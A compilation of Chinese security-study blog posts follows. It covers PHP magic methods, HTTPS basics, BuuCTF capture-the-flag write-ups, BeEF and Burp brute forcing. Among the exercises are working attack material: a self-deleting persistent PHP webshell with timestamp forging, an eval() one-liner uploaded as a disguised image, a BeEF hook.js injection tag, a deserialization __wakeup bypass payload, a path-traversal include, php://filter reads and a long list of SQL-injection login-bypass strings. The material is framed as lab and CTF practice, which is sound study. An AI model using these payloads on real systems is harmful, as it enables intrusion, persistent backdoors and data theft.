PHP魔术方法

@TOC

基本概念

PHP中把以两个下划线__开头的方法称为魔术方法,这些方法在PHP中充当了举足轻重的作用,它们服务于类和对象。

出现原因

PHP虽然是面向对象的语言,但是一些面向对象的标准并不完善,例如重载(函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法),我们可以通过一些魔术方法弥补。

魔术方法详细解释

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用

一、__construct(),类的构造函数、__destruct(),类的析构函数
__construct 构造方法,当一个对象创建时调用此方法,而__destruct()是在一个对象销毁时调用,也就是PHP的gc机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class FileRead
{
protected $handle = NULL;

function __construct(){
$this->handle = fopen(...);
}

function __destruct(){
fclose($this->handle);
}
}
?>

二、__call()、__callStatic()
当使用这些未定义的方法时就会进入这两个函数中。比如说我们调用$ a->b();这个方法,但其实在$a的类模板中并没有b()方法,这时就会进入__call()方法进行处理。__callStatic()则是通过静态调用时如果没有定义对应的方法,就进入到__callStatic()方法中,如A::b(),并没有定义b()方法,这时就进入了__callStatic()中进行处理。
三、__set()和__get()
__set()和__get()是操作不可访问的属性。注意,这里并不是指没有定义的属性,如果定义为private的属性也可以通过这两个魔术方法来进行定义,当然,也包括未定义的属性。
四、__sleep()和__wakeup()
当我们在执行serialize()和unserialize()时,会先调用这两个函数。例如我们在序列化一个对象时,这个对象有一个数据库链接,想要在反序列化中恢复链接状态,则可以通过重构这两个函数来实现链接的恢复,
这里需要注意的是,__sleep()需要返回一个数组,而这个数组对应着类中的属性名。通常来说,它们可以在序列化前进行数据清理工作,或者反序列化前进行数据的预处理工作。比如序列化前关闭数据库连接或者反序列化前打开数据库连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Connection
{
protected $link;
private $server, $username, $password, $db;

public function __construct($server, $username, $password, $db)
{
$this->server = $server;
$this->username = $username;
$this->password = $password;
$this->db = $db;
$this->connect();
}

private function connect()
{
$this->link = mysql_connect($this->server, $this->username, $this->password);
mysql_select_db($this->db, $this->link);
}

public function __sleep()
{
return array('server', 'username', 'password', 'db');
}

public function __wakeup()
{
$this->connect();
}
}
?>

五、__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将出现致命错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestClass
{
public function __toString() {
return 'this is a object';
}
}

$class = new TestClass();
echo $class;
?>


六、__clone()
此方法在复制对象时被调用。我们知道在php中. $a为一个对象, $b= $a时。 $b为 $ a的引用。当$a发生改变时。 $b也会随之发生变化。那么为了使 $b不发生变化,我们需要用 $b=clone $a;
那么,当 $a在调用clone的时候,引擎会自动调用__clone()方法
七、Invoke
在php中这个方法用于,把对象当方法用的时候。此方法会被调用。

1
2
3
4
5
6
7
8
9
class Invoke {
public function __invoke()
{
echo 'I can run'.PHP_EOL;
}
}

$invoke = new Invoke();
$invoke();

七、__set_state()
了解这个方法前,需要先知道var_export()函数,var_export()和var_dump()类似,输出一个变量的字符串表示。他与var_dump的区别在于它的返回结果的是合法的
php代码.此代码可以被eval执行. 注意:此方法是一个静态方法,且在php5.1以上版本才支持。

绕过__wakeup

一、为什么要绕过__wakeup
举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}

我们可知__wakeup将username的值设定为guest,题中需要为admin,而且根据__wake的特性,在反序列化中会提前执行,所以需要绕过
二、绕过方法:当成员属性数目大于实际数目时可绕过
题目来源:buuctf_php

PHP不死马

@TOC

基本概念

内存性木马即不死马,一般会删除自身以进程的形式循环创建隐蔽的后门。内存马是无文件攻击的一种技术手段,那我们不得不先简单介绍一下无文件攻击。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如PowerShell,Windows Management Instrumentation(WMI)和PsExec等。无文件攻击技术允许攻击者访问系统,从而启用后续的恶意活动。通过操纵漏洞利用程序、合法工具、宏和脚本,攻击者可以破坏系统、提升特权或在网络上横向传播恶意代码。而且,无文件威胁在执行后不会留下任何痕迹,这使其难以被检测和清除。
在这里插入图片描述在这里我们只介绍PHP内存马。
PHP内存马利用脚本解析执行特性,调用PHP运行时文件访问接口动态加载恶意代码,之后调用PHP运行时外部命令执行接口执行恶意代码。

分类

在这里插入图片描述
① 当PHP-FPM启用时,通过Fastcgi协议(Fastcgi协议是服务器中间件和后端进行数据交换的协议)向PHP-FPM发起请求执行任意文件。如果PHP-FPM可被外部访问,攻击者通过Fastcgi协议可直接请求PHP-FPM执行”任意文件”。
在这里插入图片描述② 内存驻留Webshell通常会在php执行起来后,删除php文件本体。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '/var/www/dvwa/.ski12.php';
$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
while (1) {
file_put_contents($file, $code);
system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
usleep(5000);
}
?>

ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit()函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。

unlink(FILE)删除文件本身,以起到隐蔽自身的作用。

while循环内每隔usleep(5000)即写新的后门文件,中间system()执行的命令用于修改文件的创建或修改时间,可以绕过“find –name '*.php' –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。

至于最后生成的隐蔽后门在需要校验一个POST参数的MD5值,原因在于防止其他人可以进行利用。

防护原理

通过对PHP执行进程进行监控,关联分析敏感行为以识别此类攻击

buuctf_php

buuctf_php

在这里插入图片描述
我们来看下这道题,打开后有提示备份文件,对于备份文件我们可以使用御剑扫描后台目录
在这里插入图片描述
下载这个www.zip后发现
在这里插入图片描述
有这些文件,首先打开flag.php,发现不是我们想要的flag,所以我们打开class.php,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

首先我们注意关于username和password都是private,这个在下面的解答中会用到
在这里插入图片描述
然后打开index.php观察这个代码,由unserialize()知涉及反序列化,再打开class.php
在这里插入图片描述
我们可以知道只有username为admin时且password为100时,才会输出flag
而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。由此我们可以构造playload

1
2
3
$a= new Name('admin',100);
$b= serialize($a);
var_dump($b);

O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
此时我们需要注意两个点,一个是private属性序列化:%00类名%00成员名,所有要在Name、username、以及password前面加%00,另一个是关于_wakeup函数,因为要绕过wakeup,把Name后的数字改成3,**当反序列化时,若属性个数大于真实属性个数时,则会跳过__wakeup()**,本题得解
在这里插入图片描述

计网网络篇

1. 公钥和私钥

公钥和私钥是通过一种算法得到的一个密钥对,公钥是秘钥对中公开的部分,私钥是非公开的部分。如果用其中一个密钥加密一段数据,必须用另一个密钥解密。比如用公钥加密数据就必须用私钥解密,如果用私钥加密也必须用公钥解密,否则解密将不会成功。

原则:公钥公开,私钥只有自己拥有。

2. 对称加密与非对称加密

对称密钥加密是指加密和解密使用同一个密钥的方式,这种方式存在的最大问题就是密钥发送问题,即如何安全地将密钥发给对方;

​ 非对称加密是指使用一对非对称密钥,即公钥和私钥,公钥可以随意发布,但私钥只有自己知道。发送密文的一方使用对方的公钥进行加密处理,对方接收到加密信息后,使用自己的私钥进行解密。

​ 由于非对称加密的方式不需要发送用来解密的私钥,所以可以保证安全性;但是和对称加密比起来,它非常的慢,所以我们还是要用对称加密来传送消息,但对称加密所使用的密钥我们可以通过非对称加密的方式发送出去。

总结一下:通过非对称加密的方式把秘钥发送过去,接下来用这个秘钥一直进行对称加密。

即:第一次通信采用非对称加密,接下来的通信采用对称加密

3. HTTP的相关问题

3.1 HTTP概念
HTTP协议:超文本传输协议。是应用层协议,是基于TCP协议的,明文传输,客户端与服务器端都无法验证对方的身份;

超文本:广义上的文本,包括图片、视频、压缩包、超链接等。

3.2 HTTP的特点
1、简单、灵活:HTTP头部的各类字段组成都没有固定要求,允许开发人员自定义和补充。

2、无状态:服务器不会记录HTTP的状态,减轻了服务器的开销。 但是在完成关联性操作时不方便(如玩4399小游戏,不能换一个游戏就重新登一次账户)

解决办法:使用Cookie技术,通过在请求和响应报文中写入Cookie信息来来控制客户端的状态。

当客户端第一次请求后,服务器会下发一个装有客户信息的Cookie,后续客户端请求服务器时,带上Cookie,服务器就能识别出是谁。
3、不安全
HTTP传输文本时采用明文传输,不加密,可以直接看见信息。
通信时不会验证双方身份,可能访问虚假用户
传输过程中的报文可能遭到无疑篡改。
3.3 HTTP的状态码
写法 类别 解释
1xx Information(信息状态码) 接受的请求正在处理
2xx Success(成功状态码) 请求正常处理完毕
3xx Redirection(重定向状态码) 需要进行附加操作以完成请求
4xx Client Error(客户端错误状态码) 服务器无法处理请求
5xx Server Error(服务端错误状态码) 服务器处理请求出错

4. HTTPS相关问题

  1. HTTPS概念
    HTTPS协议是身披SSL(Secure Socket Layer)外壳的Http,运行于SSL上,SSL运行于TCP之上,是添加了加密和认证机制的HTTP。
  1. HTTPS为什么安全?
    1、混合加密
    作用:防窃听

混合加密:即同时采用公钥和私钥加密,更安全,更高效,更不易被破解。 具体操作方法见问本文章的第一个问题。

HTTPS采用对称加密和非对称加密结合的混合加密方式
在通信建立前采用非对称加密的方式交换秘钥,后续就不在使用非对称加密
在通信过程中全部使用对称加密的会话秘钥方式,加密明文数据。
2. 摘要算法
作用:防止数据被篡改。

摘要算法:实现数据完整性,能够为数据生成独一无二的指纹,指纹用于校验数据的完整性,解决了被篡改的风险。

过程
1、客户端发送明文前,会通过摘要算法算出明文的指纹,发送时明文和指纹一同加密,发送给服务器。

2、服务器解密后,用相同的摘要算法算出发送过来的明文,通过比较客户端携带的指纹和当前指纹做比较,若相同,则说明数据是完整的。

  1. 数字证书
    作用:解决身份认证问题。

过程:借助第三方权威机构CA(数字证书认证机构),将服务器公钥放在数字证书(由数字证书认证机构办法)中,只要证书是可信的,公钥就是可信的。

  1. 采用HTTPS加密的具体流程:
    假设电脑A要向电脑B发送数据

电脑A发送数据前,先通过摘要算法计算出明文的指纹,然后将明文+指纹打包成数据包,并将自己的对称加密的秘钥放入数据报, 同时向电脑B索要公钥。

电脑B将公钥发送过来后,电脑A采用非对称加密的方式,通过电脑B的公钥将自己的数据包加密(非对称加密的原理见之前的解答),加密后,发送给电脑B

电脑B收到电脑A发送过来的数据包后,发现是非对称加密的方式,于是使用自己的私钥解密, 解密后通过计算该数据包的指纹, 与数据包内指纹对比, 若指纹相同,则表示数据没有丢失。

接下来的通信,双方都将使用数据包内的秘钥以对称加密的方式通信。

5. HTTP与HTTPS区别

端口不同:HTTP与HTTPS使用不同的连接方式,用的端口也不一样,前者是80,后者是443;

资源消耗:和HTTP通信相比,HTTPS通信会由于加减密处理消耗更多的CPU和内存资源;

开销:HTTPS通信需要证书,而证书一般需要向认证机构购买;

6. 客户端在使用HTTPS方式与Web服务器通信时的步骤

​ (1)客户使用https的URL访问Web服务器,要求与Web服务器建立SSL连接。

(2)Web服务器收到客户端请求后,会将网站的证书信息(证书中包含公钥)传送一份给客户端。

(3)客户端的浏览器与Web服务器开始协商SSL/TLS连接的安全等级,也就是信息加密的等级。

(4)客户端的浏览器根据双方同意的安全等级,建立会话密钥,然后利用网站的公钥将会话密钥加密,并传送给网站。

(5)Web服务器利用自己的私钥解密出会话密钥。

(6)Web服务器利用会话密钥加密与客户端之间的通信。

buuctf(二)

[极客大挑战 2019]Http1

在这里插入图片描述
老规矩,查看源代码

1
2
3
4
5
6
7
8
9
10
11

<!-- Two -->
<section id="two" class="wrapper alt style2">
<section class="spotlight">
<div class="image"><img src="images/pic01.jpg" alt="" /></div><div class="content">
<h2>小组简介</h2>
<p>·成立时间:2005年3月<br /><br />
·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术<br /><br />
·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研究团队,为广大的在校同学营造一个良好的信息安全技术<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>!</p>
</div>
</section>

发现有一个隐藏的网页secret.php,点击
在这里插入图片描述

注:
1、HTTP Referer是header的一部分,当浏览器发送请求的时候带上Referer,告诉服务器该网页是从哪个页面链接过来的。
2、User Agent,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

紧接着使用burp抓包
在这里插入图片描述
提示浏览器不对,一般访问浏览器的名字都会被设置在UA参数中。如
在这里插入图片描述
将其改成
在这里插入图片描述
还要调整X-Forwarded-For: 127.0.0.1,然后成功拿到flag
在这里插入图片描述

[极客大挑战 2019]Knife1

启动靶机
在这里插入图片描述
打开后发现有一个一句话木马,尝试用蚁剑连接一下
在这里插入图片描述
连接成功,发现flag在文件夹/下

[极客大挑战 2019]Upload1

本题为文件上传,先上传一个php文件
在这里插入图片描述
意料之内,然后使用burp抓包,修改Content-Type为image/jpeg,然后

在这里插入图片描述
开来不能php文件被拉入黑名单了,使用不常见的文件后缀名phtml绕过
在这里插入图片描述
看来<?被过滤掉了,我们换

1
GIF89a? <script language="php">eval($_REQUEST[feng])</script>

上传成功,蚁剑连接
在这里插入图片描述
本题得解

beef

@TOC

beef概念

一、BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。
BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。

beef的安装

对于Windows下安装比较费力,所以直接在kali中安装。
1、输入命令

1
sudo apt-get install beef-xss

即可开始安装
2.安装结束后可以查看打开

1
sudo beef-xss

在这里插入图片描述
在这里插入图片描述
这就是上文提到的hook,是beef中非常重要的东西。

1
Hook:<script src="http://<IP>:3000/hook.js"></script>

beef的使用

下面让我们进行一些操作。我们知道beef监听的是端口号为:3000。
我们可以打开kali当中的文件系统

在这里插入图片描述
打开config.yaml,在这个里面我们可以修改他所绑定的ip地址成自己的ip
在这里插入图片描述
即host。

beef的实战

最后让我们进行beef的实战吧!
在这里插入图片描述
在kali下使用phpstudy打开dvwa靶场,选择low级别的
在这里插入图片描述
因为beef一般针对xss漏洞,所以选择这道题,Name是test,而Message是上面的Hook
在这里插入图片描述
会出现这种情况,是因为文本框被限制了,我们只需要右击,然后检查元素
在这里插入图片描述
修改最大长度,再输入Hook的内容。
打开网址http://127.0.0.1:3000/ui/panel,然后输入刚才的密码
在这里插入图片描述
绿色对目标主机生效并且不可见(不会被发现)
橙色对目标主机生效但可能可见(可能被发现)
灰色对目标主机来必生效(可验证下)
红色对目标主机不生效

下面我们进行一个测试
在这里插入图片描述
点击,然后点击Excute,弹窗出现
在这里插入图片描述

图片隐写

图片隐写概念

顾名思义,就是将想要表达的信息隐藏在图片中。

使用工具

1、cmd命令
2、steghide
在这里插入图片描述
下载网址;http://steghide.sourceforge.net/download.php

步骤

1、打开命令提示符,进入到steghide文件夹
2、输入\steghide>.\steghide.exe embed -cf 2.jpg -ef 1.txt
然后给出一个密码即可。
3、提取文字:wrote extracted data to”1.txt”
notepad 1.txt即可在这里插入图片描述

binwalk

在ctf中我们没有密码,就需要binwalk这个工具。
注意:这个工具需要python3环境,对于安装可以参考博客:binwalk
用法:
1、-e 分解出压缩包
binwalk -e pcat.bin
2、-D或者–dd 分解某种类型的文件(在windows里要用双引号括起来)
binwalk -D=jpeg pcat.bin
3、-M 递归分解扫描出来的文件(得跟-e或者-D配合使用)
binwalk -eM pcat.bin
4、-h寻求其他用法
在这里插入图片描述

图片木马的制作

定义

图片木马是一张图片中包含了木马(通常是一句话木马)

原理

以文件上传漏洞为基本条件,将可执行的条件写入图片中去,再利用文件包含漏洞来执行图片中存在的一句话木马,从而获取目标服务器的权限。

制作方法

一、copy
在这里插入图片描述
图片和一句话木马,打开cmd,进入文件夹
copy 1.jpg/b+1.php/a 2.jpg
其中 /b代表以二进制编码打开文件,/a代表以ASCII码编码打开文件
在这里插入图片描述
二、利用二进制编码工具
在这里插入图片描述
直接在编码的任意位置添加webshell即可,可以配合蚁剑使用。

防范

●文件上传的目录设置为不可执行
●判断文件类型
●使用随机数改写文件名和文件路径

暴力破解

@TOC

什么是暴力破解

一、所谓暴力破解,就是在不知道用户名和密码的情况下,通过工具软件利用字典文件对用户名和密码依次进行尝试。从而最终将用户名或密码破解出来。
二、常用的字典文件

  • 常用的账号密码,比如top100密码字典、top500用户名字典
  • 互联网上呗拖库后的账号密码,比如当年CSDN泄露的600w用户信息。
  • 使用工具软件按照指定的规则进行排列组合算法生成的字典,比如生日字典等。

暴力破解工具——burpsuite

一、什么是burpsuite:Burp Suite是用于攻击web应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP消息、持久性、认证、代理、日志、警报。
二、模块
1、Porxy(代理):代理、处理HTTP请求以及处理HTTP响应。
在这里插入图片描述
2、Intruder(攻击):Inturder模块可以将数据包里指定的参数设置成变量(变量也就是要准备攻击的目标),然后再利用字典文件去替换变量里的值,所以常用于自动化猜测或暴力破解过程中。
在这里插入图片描述

实战举例(DVWA)

在这里插入图片描述
抓包
在这里插入图片描述
注意:在Burpsuite中,Inturder模块中Position中攻击类型:
1、Sriper:狙击手,可以指定多个变量同时破解,但只设置一个字典文件,将指定的变量依次用字典文件内容进行替换。
2、Battering ram:攻城锤,可以指定多个变量,但仍只设置一个字典文件,将所有的变量一起用字典内容进行替换。
3、Ptichfork:草叉子,可以指定多个变量,但需要为每个变量分别设置一个字典文件,然后用对应的字典内容对变量同时进行替换。
4、Cluster bomb:集束炸弹,指定多个变量,并为每个变量分别设置一个字典文件,然后用字典内容组合对变量进行替换。

设置攻击的对象 在这里插入图片描述
载荷类型“Payload type”
1、Simple list :可以手动添加字典列表,也可以导入Burpsuite目常的子典,百导人自定义的字典。
2、Runtime file :只能加载自定义的字典。

3、Numbers:设定一个数值范围,从范围内依欠或随机取值进行测试。
4、Brute forcer :自己定义字符范围来生成字典文件。
Grep-Match:
1、设置对与不对的标准,在靶场中如果用户名密码不正确则会提示:Username and/or password incorrect,则设置 Grep-Match为Username and/or password incorrect
2、有的页面在用户登录失败时并不出现错误提示,而是仍返回到登录页面,这时就可以从登录页面中提取部分代码作为关键字,比如form action=”#” method=”GET”
3、也可通过Length字段进行判断,由于密码正确和密码错误的页面内容肯定不同因而Length字段也会出现区别。
在这里插入图片描述

buuctf

warm up

在这里插入图片描述
查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

mt_strpos所起到的作用是返回目标字符串首次出现的位置,联系mb_substr所起到的作用是截取目标字符串对应位置的内容,结合起来就是返回传入变量$page匹配到第一个?之前的内容,直接用CVE-2018-12613的poc和hint.php的内容利用文件包含构造
?file=hint.php%253f/../../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL1

在这里插入图片描述
这个是比较简单的sql注入,可以先判断
在这里插入图片描述SQL注入万能密码:’or’=’or’
admin
admin’–
admin’ or 4=4–
admin’ or ‘1’=’1’–
admin888
“or “a”=”a
admin’ or 2=2#
a’ having 1=1#
a’ having 1=1–
admin’ or ‘2’=’2
‘)or(‘a’=’a
or 4=4–
c
a’or’ 4=4–
“or 4=4–
‘or’a’=’a
“or”=”a’=’a
‘or’’=’
‘or’=’or’
1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 4=4
‘OR 4=4%00
“or 4=4%00
‘xor
admin’ UNION Select 1,1,1 FROM admin Where ‘’=’
1
-1%cf’ union select 1,1,1 as password,1,1,1 %23
1
17..admin’ or ‘a’=’a 密码随便
‘or’=’or’
‘or 4=4/

something
‘ OR ‘1’=’1
1’or’1’=’1
admin’ OR 4=4/

1’or’1’=’1**
本题使用的是admin’ or ‘1’=’1’#,1=1永真,而且#可以注释掉后面的语句,所以密码是什么不重要。
在这里插入图片描述

[极客大挑战 2019]Havefun1

在这里插入图片描述

1
2
3
4
5
6
7
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

由题可知需要用get的方式上传cat=dog,http://d3a8ff66-7665-4869-875d-e693623fb2d3.node3.buuoj.cn/?cat=dog,即可拿到flag。

[ACTF2020 新生赛]Include1

在这里插入图片描述这是一道文件包含漏洞题,点击tips
在这里插入图片描述/?file=php://filter/read=convert.base64-encode/resource=flag.php,出现base64形式,即可。
在这里插入图片描述

CTF [极客大挑战 2019]Secret File

知识点:
一、前端中背景可以覆盖内容,页面源代码可以查看完整的html
二、在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。
三、文件包含漏洞,PHP伪协议获取文件

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
在这里插入图片描述
查看源代码
发现有被隐藏的网页Archive_room.php,打开
在这里插入图片描述点击SECRET,在这里插入图片描述快速跳转,需要抓包
在这里插入图片描述发现在secr3t.php
在这里插入图片描述
发现flag在flag.php上
在这里插入图片描述是文件包含漏洞,直接构造view-source:http://afffc056-5cff-4ef2-aa1f-61d65effcc4c.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php,最后编码即可